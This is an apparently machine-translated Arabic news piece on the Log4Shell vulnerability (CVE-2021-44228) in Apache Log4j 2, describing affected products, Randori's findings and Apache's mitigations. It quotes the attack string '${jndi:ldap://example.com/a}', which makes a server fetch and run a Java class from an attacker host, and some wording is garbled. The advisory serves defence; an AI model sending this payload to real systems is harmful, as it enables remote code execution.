في الآونة الأخيرةنشر e نبأ تحديد ثغرة خطيرة في Apache Log4j 2، والذي يتميز بأنه إطار عمل شائع لتنظيم السجل في تطبيقات Java ، مما يسمح بتنفيذ تعليمات برمجية عشوائية عند كتابة قيمة منسقة بشكل خاص إلى السجل بالتنسيق "{jndi: URL}".
عالي التأثر من الملاحظ أنه يمكن تنفيذ الهجوم في تطبيقات Java التييسجلون القيم التي تم الحصول عليها من مصادر خارجية ، على سبيل المثال عن طريق عرض القيم الإشكالية في رسائل الخطأ.
لوحظ أن تتأثر تقريبًا جميع المشاريع التي تستخدم أطر عمل مثل Apache Struts أو Apache Solr أو Apache Druid أو Apache Flink ، بما في ذلك عملاء وخوادم Steam و Apple iCloud و Minecraft.
من المتوقع أن تؤدي الثغرة الأمنية إلى موجة من الهجمات الهائلة على تطبيقات المؤسسة ، مما يكرر تاريخ نقاط الضعف الحرجة في إطار العمل ، Apache Struts ، وهو تقدير تقريبي مستخدم في 65٪ من تطبيقات الويب Fortune 100. قائمة تطبيقات الويب الخاصة بالشركة تضمنت محاولات مسجلة بالفعل لمسح الشبكة بحثًا عن أنظمة ضعيفة.
تسمح الثغرة الأمنية بتنفيذ التعليمات البرمجية غير المصادق عن بُعد. Log4j 2 هي مكتبة سجل Java مفتوحة المصدر طورتها مؤسسة Apache. يستخدم Log4j 2 على نطاق واسع في العديد من التطبيقات وهو موجود ، كاعتماد ، في العديد من الخدمات. وتشمل هذه تطبيقات الأعمال بالإضافة إلى العديد من الخدمات السحابية.
طور فريق هجوم Randori ثغرة وظيفية وتمكن من استغلال هذه الثغرة الأمنية بنجاح في بيئات العملاء كجزء من منصة الأمان الهجومية الخاصة بنا.
يمكن الوصول إلى الثغرة الأمنية من خلال العديد من الأساليب الخاصة بالتطبيقات. في الواقع ، أي سيناريو يسمح باتصال عن بُعد بتوفير بيانات عشوائية يكتبها تطبيق يستخدم مكتبة Log4j في ملفات السجل هو عرضة للاستغلال. من المحتمل جدًا أن يتم استغلال هذه الثغرة الأمنية في البرية ومن المحتمل أن تؤثر على آلاف المؤسسات. تمثل هذه الثغرة خطراً حقيقياً كبيراً على الأنظمة المتأثرة.
تتفاقم المشكلة بسبب حقيقة أنه تم بالفعل نشر برمجيات إكسبلويت الوظيفي ، على سبيل المثاللكن لم يتم بعد إنشاء إصلاحات للفروع المستقرة. لم يتم تعيين معرف CVE بعد. يتم تضمين الحل فقط في فرع الاختبار log4j-2.15.0-rc1. كحل بديل لمنع الثغرة الأمنية ، يوصى بتعيين المعلمة Log4j2.formatMsgNoLookups على true.
المشكلة يرجع ذلك إلى حقيقة أن Log4j 2 يدعم معالجة الأقنعة الخاصة «{}» في سطور السجل، بحيث يمكن تشغيل استعلامات JNDI (تسمية جافا وواجهة الدليل).
في تحليل CVE-2021-44228 ، حدد راندوري ما يلي:
التثبيتات الافتراضية لبرامج الأعمال المستخدمة على نطاق واسع معرضة للخطر.
يمكن استغلال الثغرة الأمنية بشكل موثوق وبدون مصادقة.
تؤثر الثغرة الأمنية على إصدارات متعددة من Log4j 2.
تسمح الثغرة الأمنية بتنفيذ التعليمات البرمجية عن بُعد عندما يقوم المستخدم بتشغيل التطبيق باستخدام المكتبة.
يتلخص الهجوم في تمرير سلسلة مع الاستبدال "$ {jndi: ldap: //example.com/a}" ، معالجة أي Log4j 2 سيرسل طلب LDAP للمسار إلى فئة Java إلى خادم attacker.com . سيتم تحميل المسار الذي يعيده خادم المهاجم (على سبيل المثال ، http://example.com/Exploit.class) وتنفيذه في سياق العملية الحالية ، مما يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية على النظام ذي الحقوق من التطبيق الحالي.
أخيرًا ، ذكر أن إذا تم العثور على تشوهات، يوصى بأن تفترض أن هذه حادثة نشطة ، وأنه قد تم اختراقها ، والرد وفقًا لذلك. ستؤدي الترقية إلى الإصدارات المصححة من Log4j 2 أو التطبيقات المتأثرة إلى القضاء على هذه الثغرة الأمنية. توصي Randori أي منظمة تعتقد أنها قد تتأثر بالترقية بشكل عاجل إلى إصدار مصحح.
في آخر تحديث من فريق Apache Log4j ، نوصي المنظمات بالقيام بما يلي
- التحديث إلى Log4j 2.15.0
- بالنسبة لأولئك الذين لا يستطيعون الترقية إلى 2.15.0: في الإصدارات> = 2.10 ، يمكن التخفيف من هذه الثغرة الأمنية عن طريق تعيين خاصية نظام log4j2.formatMsgNoLookup أو متغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS إلى true.
- بالنسبة للإصدارات 2,0-beta9 إلى 2.10.0 ، فإن التخفيف هو إزالة فئة JndiLookup من classpath: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
مصدر: https://www.lunasec.io/